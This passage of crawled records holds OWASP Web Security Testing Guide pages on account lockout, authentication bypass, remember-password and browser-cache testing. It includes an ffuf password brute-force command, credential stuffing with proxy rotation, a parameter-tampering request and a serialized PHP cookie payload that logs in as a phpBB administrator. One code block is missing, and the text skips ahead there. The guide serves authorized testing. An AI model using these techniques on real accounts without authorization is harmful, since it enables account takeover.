successful attack is dangerous as the attacker will have full access on the user account and with it all the functionality and services they have access to.\n\n## Test Objectives\n\n- Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing.\n- Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.\n\n## How to Test\n\n### Credential Stuffing and Distributed Brute Force\n\nCredential stuffing uses previously leaked username and password pairs from data breaches to gain unauthorized access to accounts. Distributed brute force and password spraying send many authentication attempts from multiple IP addresses. Both can bypass lockout mechanisms that only count failures per IP.\n\nMany applications lock accounts based solely on repeated login attempts from a single IP address. Attackers avoid that control by spreading requests across botnets or rotating proxies.\n\nVerify whether the application uses account-based protections, not only IP-based restrictions, when handling these attacks.\n\n1. Obtain a controlled set of test accounts and credentials that you are authorized to use. For credential stuffing, use known username and password pairs. For distributed brute force or password spraying, use a password list against one or more test usernames.\n2. Send authentication requests with those credentials.\n3. Distribute the attempts across multiple IP addresses using proxies or VPN endpoints.\n4. Observe whether the application enforces account-based protections or only IP-based restrictions.\n5. Monitor responses for account lockout, CAPTCHA challenges, or rate limiting.\n\nExample authentication request:\n\n```\nPOST /login HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded\n\nusername=user1@example.com&password=Password123\n```\n\nExample using ffuf to fuzz passwords against a single test account (distributed brute force or password spraying when combined with IP rotation):\n\n```\nffuf -w passwords.txt -X POST -d \"username=test&password=FUZZ\" -u https://example.com/login\n```\n\nFor credential stuffing, drive known username and password pairs with Burp Intruder, ZAP Fuzzer, Hydra, or a custom script that submits each pair and rotates source IPs.\n\n### Lockout Mechanism\n\nTo test the strength of lockout mechanisms, you will need access to an account that you are willing or can afford to lock. If you have only one account with which you can log on to the web application, perform this test at the end of your test plan to avoid losing testing time by being locked out.\n\nTo evaluate the account lockout mechanism’s ability to mitigate brute force password guessing, attempt an invalid log in by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:\n\n1. Attempt to log in with an incorrect password 3 times.\n2. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t trigger after 3 incorrect authentication attempts.\n3. Attempt to log in with an incorrect password 4 times.\n4. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t trigger after 4 incorrect authentication attempts.\n5. Attempt to log in with an incorrect password 5 times.\n6. Attempt to log in with the correct password. The application returns “Your account is locked out.”, thereby confirming that the account is locked out after 5 incorrect authentication attempts.\n7. Attempt to log in with the correct password 5 minutes later. The application returns “Your account is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.\n8. Attempt to log in with the correct password 10 minutes later. The application returns “Your account is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.\n9. Successfully log in with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.\n\n#### Unique Lockout Mechanisms\n\nThere are more unique implementations of lockout mechanisms in use that are still acceptable. One of which is AWS’s [Cognito](https://docs.aws.amazon.com/cognito/latest/developerguide/authentication.html#authentication-flow-lockout-behavior). It uses a simple scaling algorithm that mitigates brute-force attacks while not enabling long-term denial-of-service attacks against the affected user. After 5 failed sign-in attempts with a password, the user is locked out for one second. The lockout duration doubles with each failed attempt, with a maximum of 15 minutes. Sign-in attempts made during the lockout period are exceptions referred to as `Password attempts exceeded`, and in most implementations are not returned to the user who initiated the sign-in. If they aren’t shown to the user, a tester may think that no lockout mechanism is being used, as 200 rapid attempts to sign-in would generate a lot of the exceptions, and very few legitimate failed sign-in attempts.\n\nThe math behind the mechanism is: `2^(n-5)`, with `n` being the number of failed sign-in attempts. The resulting number is the amount of seconds that the user is locked out. To reset the lockout count to zero, the user must sign-in successfully or wait the 15 minutes.\n\nTo test for this using a fuzzing tool, such as Burp Suite’s Intruder, navigate into the “Resource Pool”. Then set the maximum concurrent requests to 1 and the delay between requests to 2 seconds. Attempt the invalid authentication 200 times, then attempt to use the valid credentials 3 times directly after the fuzzing tool finishes. Wait 2 minutes and attempt to sign-in. If sign-in is then successful, Cognito may be in use. Further testing can then be performed to validate the use of Cognito by attempting to push the lockout time higher, but it may be easier to validate this information with the client.\n\nA CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses, and should not replace a lockout mechanism. A CAPTCHA mechanism may be bypassed if implemented incorrectly. CAPTCHA flaws include:\n\n1. Easily defeated challenge, such as arithmetic or limited question set.\n2. CAPTCHA checks for HTTP response code instead of response success.\n3. CAPTCHA server-side logic defaults to a successful solve.\n4. CAPTCHA challenge result is never validated server-side.\n5. CAPTCHA input field or parameter is manually processed, and is improperly validated or escaped.\n6. A single solved CAPTCHA can be re-used multiple times.\n\nTo evaluate CAPTCHA effectiveness:\n\n1. Assess CAPTCHA challenges and attempt automating solutions depending on difficulty.\n2. Attempt to submit request without solving CAPTCHA via the normal UI mechanism(s).\n3. Attempt to submit request with intentional CAPTCHA challenge failure.\n4. Attempt to submit request without solving CAPTCHA (assuming some default values may be passed by client-side code, etc) while using a testing proxy (request submitted directly server-side).\n5. Attempt to fuzz CAPTCHA data entry points (if present) with common injection payloads or special characters sequences.\n6. Check if the solution to the CAPTCHA might be the alt-text of the image(s), filename(s), or a value in an associated hidden field.\n7. Attempt to re-submit previously identified known good responses.\n8. Check if clearing cookies causes the CAPTCHA to be bypassed (for example if the CAPTCHA is only shown after a number of failures).\n9. If the CAPTCHA is part of a multi-step process, attempt to simply access or complete a step beyond the CAPTCHA (for example if CAPTCHA is the first step in a login process, try simply submitting the second step [username and password]).\n10. Check for alternative methods that might not have CAPTCHA enforced, such as an API endpoint meant to facilitate mobile app access.\n\nRepeat this process to every possible functionality that could require a lockout mechanism.\n\n### Unlock Mechanism\n\nTo evaluate the unlock mechanism’s resistance to unauthorized account unlocking, initiate the unlock mechanism and look for weaknesses. Typical unlock mechanisms may involve secret questions or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches.\n\nKeep in mind an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism, yet could follow the same security practices.\n\n## Remediation\n\nApply account unlock mechanisms depending on the risk level. In order from lowest to highest assurance:\n\n1. Time-based lockout and unlock.\n2. Self-service unlock (sends unlock email to registered email address).\n3. Manual administrator unlock.\n4. Manual administrator unlock with positive user identification.\n\nFactors to consider when implementing an account lockout mechanism:\n\n1. What is the risk of brute force password guessing against the application?\n2. Is a CAPTCHA sufficient to mitigate this risk?\n3. Is a client-side lockout mechanism being used (e.g., JavaScript)? (if so, disable the client-side code to test.)\n4. Number of unsuccessful log in attempts before lockout. If the lockout threshold is too low then valid users may be locked out too often. If the lockout threshold is too high then the more attempts an attacker can make to brute force the account before it will be locked. Depending on the application’s purpose, a range of 5 to 10 unsuccessful attempts is a typical lockout threshold.\n5. How will accounts be unlocked?\n 1. Manually by an administrator: this is the most secure lockout method, but may cause inconvenience to users and take up the administrator’s “valuable” time.\n 1. The administrator should also have a recovery method in case their account gets locked.\n 2. This unlock mechanism may lead to a denial-of-service attack if an attacker’s goal is to lock the accounts of all users of the web application.\n 2. After a period of time: What is the lockout duration? Is this sufficient for the application being protected? E.g. a 5 to 30 minute lockout duration may be a good compromise between mitigating brute force attacks and inconveniencing valid users.\n 3. Via a self-service mechanism: As stated before, this self-service mechanism must be secure enough to avoid that the attacker can unlock accounts himself.\n\n## Tools\n\n- Burp Suite Intruder\n- Zed Attack Proxy (ZAP) Fuzzer\n- Hydra\n- ffuf\n- Custom scripts using proxy rotation (e.g., Python + requests + proxy lists)\n\n## References\n\n- See the OWASP article on [Brute Force](https://owasp.org/www-community/attacks/Brute_force_attack) Attacks.\n- [Forgot Password CS](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html) .\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11630, "slov": 1796, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:23", "sha256": "79a89278b0e6907eba676f2e69230d565b68a6e0d7e42d9094cc9476d4f3ec68", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://docs.aws.amazon.com/cognito/latest/developerguide/authentication.html", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/04-Bypassing_Authentication_Schema", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/04-Bypassing_Authentication_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/04-Bypassing_Authentication_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Bypassing Authentication Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Parameter Modification"}, {"uroven": 3, "text": "Session ID Prediction"}, {"uroven": 3, "text": "SQL Injection (HTML Form Authentication)"}, {"uroven": 3, "text": "PHP Loose Comparison"}, {"uroven": 3, "text": "PHP Magic Hashes"}, {"uroven": 3, "text": "Passwords of the Same Length Working"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Bypassing Authentication Schema\n\n| ID |\n| --- |\n| WSTG-ATHN-04 |\n\n## Summary\n\nIn computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication. A common example of such a process is the log on process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.\n\nWhile most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.\n\nIn addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.\n\nProblems related to the authentication schema can be found at different stages of the software development lifecycle (SDLC), like the design, development, and deployment phases:\n\n- In the design phase errors can include a wrong definition of application sections to be protected, the choice of not applying strong encryption protocols for securing the transmission of credentials, and many more.\n- In the development phase errors can include the incorrect implementation of input validation functionality or not following the security best practices for the specific language.\n- In the application deployment phase, there may be issues during the application setup (installation and configuration activities) due to a lack in required technical skills or due to the lack of good documentation.\n\n## Test Objectives\n\n- Ensure that authentication is applied across all services that require it.\n\n## How to Test\n\nThere are several methods of bypassing the authentication schema that is used by a web application:\n\n- Parameter modification\n- Session ID prediction\n- SQL injection\n\n### Parameter Modification\n\nAnother problem related to authentication design is when the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials. In the example below, the “authenticated” parameter is changed to a value of “yes”, which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to modify the parameter, especially when the parameters are sent as form elements in a POST request or when the parameters are stored in a cookie.\n\n```\nhttps://www.site.com/page.asp?authenticated=no\n\nraven@blackbox /home $nc www.site.com 80\nGET /page.asp?authenticated=yes HTTP/1.0\n\nHTTP/1.1 200 OK\nDate: Sat, 11 Nov 2006 10:22:44 GMT\nServer: Apache\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\n

You Are Authenticated

\n```\n\n*Figure 4.4.4-1: Parameter Modified Request*\n\n### Session ID Prediction\n\nMany web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.\n\nIn the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID.\n\n*Figure 4.4.4-2: Cookie Values Over Time*\n\nIn the following figure, values inside cookies change only partially, so it’s possible to restrict a brute force attack to the defined fields shown below.\n\n*Figure 4.4.4-3: Partially Changed Cookie Values*\n\n### SQL Injection (HTML Form Authentication)\n\nSQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.\n\n*Figure 4.4.4-4: SQL Injection*\n\nThe following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form.\n\n*Figure 4.4.4-5: Simple SQL Injection Attack*\n\n### PHP Loose Comparison\n\nIf an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process.\n\nIn the following example (PHPBB 2.0.12 - Authentication Bypass Vulnerability), at line 2 the `unserialize()` function parses a user supplied cookie and sets values inside the `$sessiondata` array. At line 7, the user’s MD5 password hash stored inside the backend database (`$auto_login_key`) is compared to the one supplied (`$sessiondata['autologinid']`) by the user.\n\n```\n1. if (isset($HTTP_COOKIE_VARS[$cookiename . '_sid'])) { 2. $sessiondata = isset($HTTP_COOKIE_VARS[$cookiename . '_data']) ? unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array(); 3. $sessionmethod = SESSION_METHOD_COOKIE; 4. } 5. $auto_login_key = $userdata['user_password']; 6. // We have to login automagically 7. if( $sessiondata['autologinid'] == $auto_login_key ) 8. { 9. // autologinid matches password 10. $login = 1; 11. $enable_autologin = 1; 12. } \n```\n\nIn PHP, a comparison between a string value and a `true` boolean value is always `true` (because the string contains a value), so by supplying the following string to the `unserialize()` function, it is possible to bypass the authentication control and log in as administrator, whose `userid` is 2:\n\n```\na:2:{s:11:\"autologinid\";b:1;s:6:\"userid\";s:1:\"2\";} // original value: a:2:{s:11:\"autologinid\";s:32:\"8b8e9715d12e4ca12c4c3eb4865aaf6a\";s:6:\"userid\";s:4:\"1337\";} \n```\n\nLet’s disassemble what we did in this string:\n\n1. `autologinid` is now a boolean set to `true` : this can be seen by replacing the MD5 value of the password hash ( `s:32:\"8b8e9715d12e4ca12c4c3eb4865aaf6a\"` ) with `b:1`\n2. `userid` is now set to the admin ID: this can be seen in the last piece of the string, where we replaced our regular user ID ( `s:4:\"1337\"` ) with `s:1:\"2\"`\n\n### PHP Magic Hashes\n\nA similar issue can occur in PHP when hashes are loosely compared, and end up being evaluated as numbers.\n\nPHP supports the use of [scientific notation](https://en.wikipedia.org/wiki/Scientific_notation) for numbers, so the number `2e4` is treated as “two times ten to the power of four”, which equals 20,000. Similarly, a number such as `0e4` would be “zero times ten to the power of four”, which equals zero. Because zero times anything is zero, this means that a comparison such as `0e2 == 0e3` would evaluate to true, because both sides equal zero.\n\nThis can be exploitable where two password hashes are compared, and both of them are in the form of string of zeros, the letter “e”, and then a string of numbers. Consider the following code:\n\n```\n Note: This also implies that passwords are either being stored in plain text, or using reversible encryption.\n\nTesting is simple: try and login to an account with a password that is incorrect, but is the same length as a valid one.\n\n## Tools\n\n- [WebGoat](https://owasp.org/www-project-webgoat/)\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n## References\n\n- [Niels Teusink: phpBB 2.0.12 authentication bypass](http://blog.teusink.net/2008/12/classic-bug-phpbb-2012-authentication.html)\n- [David Endler: “Session ID Brute Force Exploitation and Prediction”](https://web.archive.org/web/20250711045439/https://www.cgisecurity.com/lib/SessionIDs.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9672, "slov": 1410, "odkazu": 206, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:24", "sha256": "9c80b7ba1c91291bcefddbace79aa3b44411d2689d5813bb852739223d6cc3f5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Scientific_notation", "https://github.com/spaze/hashes", "https://www.zaproxy.org/", "http://blog.teusink.net/2008/12/classic-bug-phpbb-2012-authentication.html", "https://www.cgisecurity.com/lib/SessionIDs.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/05-Vulnerable_Remember_Password", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/05-Vulnerable_Remember_Password", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/05-Vulnerable_Remember_Password", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Vulnerable Remember Password"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - Latest\n\n# Vulnerable Remember Password\n\n| ID |\n| --- |\n| WSTG-ATHN-05 |\n\n## Summary\n\nCredentials are the most widely used authentication technology. Due to such a wide usage of username-password pairs, users are no longer able to properly handle their credentials across the multitude of used applications.\n\nIn order to assist users with their credentials, multiple technologies surfaced:\n\n- Applications provide a *remember me* functionality that allows the user to stay authenticated for long periods of time, without asking the user again for their credentials.\n- Password Managers - including browser password managers - that allow the user to store their credentials in a secure manner and later on inject them in user-forms without any user intervention.\n\n## Test Objectives\n\n- Validate that the generated session is managed securely and do not put the user’s credentials in danger.\n\n## How to Test\n\nAs these methods provide a better user experience and allow the user to forget all about their credentials, they increase the attack surface area. Some applications:\n\n- Store the credentials in an encoded fashion in the browser’s storage mechanisms, which can be verified by following the [web storage testing scenario](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/12-Browser_Storage) and going through the [session analysis](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/01-Session_Management_Schema#session-analysis) scenarios. Credentials shouldn’t be stored in any way in the client-side application, and should be substituted by tokens generated server-side.\n- Automatically inject the user’s credentials that can be abused by:\n - [ClickJacking](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/09-Clickjacking) attacks.\n - [CSRF](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery) attacks.\n- Tokens should be analyzed in terms of token-lifetime, where some tokens never expire and put the users in danger if those tokens ever get stolen. Make sure to follow the [session timeout](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/07-Session_Timeout) testing scenario.\n\n## Remediation\n\n- Follow [session management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) good practices.\n- Ensure that no credentials are stored in clear text or are easily retrievable in encoded or encrypted forms in browser storage mechanisms; they should be stored server-side and follow good [password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) practices.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2872, "slov": 345, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:25", "sha256": "9149c180d6c249ce607c8400a8fc21bd4bb0a59a6bf8fe4f4bc6f80d6ebd0f40", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/06-Browser_Cache_Weaknesses", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/06-Browser_Cache_Weaknesses", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/06-Browser_Cache_Weaknesses", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "04-Authentication"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Browser Cache Weaknesses"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Browser History"}, {"uroven": 3, "text": "Browser Cache"}, {"uroven": 4, "text": "Reviewing Cached Information"}, {"uroven": 4, "text": "Check Handling for Mobile Browsers"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Browser Cache Weaknesses\n\n| ID |\n| --- |\n| WSTG-ATHN-06 |\n\n## Summary\n\nIn this phase the tester checks that the application correctly instructs the browser to not retain sensitive data.\n\nBrowsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn’t need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser’s cache or by simply pressing the browser’s **Back** button.\n\n## Test Objectives\n\n- Review if the application stores sensitive information on the client-side.\n- Review if access can occur without authorization.\n\n## How to Test\n\n### Browser History\n\nTechnically, the **Back** button is a history and not a cache (see [Caching in HTTP: History Lists](https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13)). The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information.\n\nThe first and simplest test consists of entering sensitive information into the application and logging out. Then the tester clicks the **Back** button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.\n\nIf by pressing the **Back** button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.\n\nAuthentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.\n\nThe **Back** button can be stopped from showing sensitive data. This can be done by:\n\n- Delivering the page over HTTPS.\n- Setting `Cache-Control: no-store`\n\n`Cache-Control: no-store` instructs the browser not to store the response in any cache or history storage, which helps prevent sensitive data from being accessible when users navigate back after logging out.\n\n### Browser Cache\n\nHere testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as ZAP) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers with the following directives:\n\n- `Cache-Control: no-store`\n\nWhen `Cache-Control: no-store` is used, additional directives such as `must-revalidate`, `max-age`, or the `Expires` header are generally unnecessary for modern browsers.\n\n```\nHTTP/1.1\nCache-Control: no-store\n```\n\nFor instance, if testers are testing an e-commerce application, they should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the `no-store` directive. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache.\n\nThe exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:\n\n- Mozilla Firefox:\n - Unix/Linux: `~/.cache/mozilla/firefox/`\n - Windows: `C:\\Users\\\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\\\Cache2\\`\n- Internet Explorer:\n - `C:\\Users\\\\AppData\\Local\\Microsoft\\Windows\\INetCache\\`\n- Chrome:\n - Windows: `C:\\Users\\\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache`\n - Unix/Linux: `~/.cache/google-chrome`\n\n#### Reviewing Cached Information\n\nFirefox provides functionality for viewing cached information, which may be to your benefit as a tester. Of course the industry has also produced various extensions, and external apps which you may prefer or need for Chrome, Internet Explorer, or Edge.\n\nCache details are also available via developer tools in most modern browsers, such as [Firefox](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector#Cache_Storage), [Chrome](https://developers.google.com/web/tools/chrome-devtools/storage/cache), and Edge. With Firefox it is also possible to use the URL `about:cache` to check cache details.\n\n#### Check Handling for Mobile Browsers\n\nHandling of cache directives may be completely different for mobile browsers. Therefore, testers should start a new browsing session with clean caches and take advantage of features like Chrome’s [Device Mode](https://developers.google.com/web/tools/chrome-devtools/device-mode) or Firefox’s [Responsive Design Mode](https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode) to re-test or separately test the concepts outlined above.\n\nAdditionally, personal proxies such as ZAP and Burp Suite allow the tester to specify which `User-Agent` should be sent by their spiders/crawlers. This could be set to match a mobile browser `User-Agent` string and used to see which caching directives are sent by the application being tested.\n\n### Gray-Box Testing\n\nThe methodology for testing is equivalent to the black-box case, as in both scenarios testers have full access to the server response headers and to the HTML code. However, with gray-box testing, the tester may have access to account credentials that will allow them to test sensitive pages that are accessible only to authenticated users.\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n## References\n\n### Whitepapers\n\n- [MDN – Cache-Control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control)\n- [Euthanize Pragma no-cache](https://www.veggiespam.com/euthanize-pragma-no-cache/)\n- [Caching in HTTP](https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6322, "slov": 885, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:26", "sha256": "c91f4182d04725c7e114c55e27420be3cc538adf621562d0056093cbcf7a81e0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html", "https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector", "https://developers.google.com/web/tools/chrome-devtools/storage/cache", "https://developers.google.com/web/tools/chrome-devtools/device-mode", "https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode", "https://www.zaproxy.org/", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control", "https://www.veggiespam.com/euthanize-pragma-no-cache/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication/07-Weak_Authentication_Methods", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": 